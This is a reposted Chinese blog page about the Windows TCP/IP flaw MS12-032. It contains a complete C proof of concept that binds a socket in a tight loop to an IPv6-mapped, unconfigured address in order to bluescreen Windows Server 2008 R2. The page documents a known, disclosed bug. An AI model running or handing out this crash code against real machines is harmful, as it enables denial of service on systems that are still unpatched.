博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
MS12-032 - Vulnerability in TCP/IP Could Allow Elevation of Privilege
阅读量:2435 次
发布时间:2019-05-10

本文共 2121 字,大约阅读时间需要 7 分钟。

Microsoft update release  
Possible MS12-032 Proof of concept from thx to  
We discovered that running our application under certain conditions results in Windows bluescreen. After some investigation we were able to narrow down the scenario to a sample of ~50 lines of C code using Winsock2 APIs. The sample repeatedly binds to IPv6-mapped invalid IPv4 address. Windows Server 2008 R2 crashes after several seconds running the sample. The problem reproduces on different physical machines as well as on Virtual Machines.
// the program attempts to bind to IPV6-mapped IPV4 address
// in a tight loop. If the address is not configured on the machine
// running the program crashes Windows Server 2008 R2 (if program is 32-bit)
#include
#include
#include
#include
#define IPV6_V6ONLY 27
void MyWsaStartup()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0) {
printf("WSAStartup failed with error: %d\n", err);
exit(-1);
}
}
void main()
{
MyWsaStartup();
bool bindSuccess = false;
while(!bindSuccess)
{
SOCKET sock = WSASocket(AF_INET6,
SOCK_DGRAM,
IPPROTO_UDP,
NULL,
0,
WSA_FLAG_OVERLAPPED);
if(sock == INVALID_SOCKET)
{
printf("WSASocket failed\n");
exit(-1);
}
DWORD val = 0;
if (setsockopt(sock,
IPPROTO_IPV6,
IPV6_V6ONLY,
(const char*)&val,
sizeof(val)) != 0)
{
printf("setsockopt failed\n");
closesocket(sock);
exit(-1);
}
sockaddr_in6 sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
sockAddr.sin6_family = AF_INET6;
sockAddr.sin6_port = htons(5060);
// set address to IPV6-mapped 169.13.13.13 (not configured on the local machine)
// that is [::FFFF:169.13.13.13]
sockAddr.sin6_addr.u.Byte[15] = 13;
sockAddr.sin6_addr.u.Byte[14] = 13;
sockAddr.sin6_addr.u.Byte[13] = 13;
sockAddr.sin6_addr.u.Byte[12] = 169;
sockAddr.sin6_addr.u.Byte[11] = 0xFF;
sockAddr.sin6_addr.u.Byte[10] = 0xFF;
int size = 28; // 28 is sizeof(sockaddr_in6)
int nRet = bind(sock, (sockaddr*)&sockAddr, size);
if(nRet == SOCKET_ERROR)
{
closesocket(sock);
Sleep(100);
}
else
{
bindSuccess = true;
printf("bind succeeded\n");
closesocket(sock);
}
}
}

转载地址:http://uthmb.baihongyu.com/

你可能感兴趣的文章
Github访问速度很慢的原因,以及解决方法
查看>>
数据库垂直拆分 水平拆分
查看>>
如何写一份优秀的java程序员简历
查看>>
如何避免软件行业的薪资天花板?
查看>>
Java知识体系最强总结(2020版)
查看>>
MyBatis与Hibernate区别
查看>>
笔记︱风控分类模型种类(决策、排序)比较与模型评估体系(ROC/gini/KS/lift)
查看>>
MySQL存储引擎之MyISAM与InnoDB区别
查看>>
Python numpy小练习
查看>>
Linux命令英文解释(按英文字母顺序)
查看>>
分类模型的效果评估
查看>>
深入理解什么是Java双亲委派模型
查看>>
基础算法面试题---如何用队列实现栈(2)
查看>>
API接口安全性设计以及各参数的作用
查看>>
《Netty权威指南 第2版》学习笔记(1)---服务端与客户端开发入门
查看>>
《Netty权威指南 第2版》学习笔记(6)--- HTTP协议开发应用
查看>>
链表算法面试题---删除链表中的重复元素II
查看>>
链表算法面试题---合并两个链表
查看>>
链表算法面试题---旋转链表
查看>>
链表算法面试题---交换链表的节点I
查看>>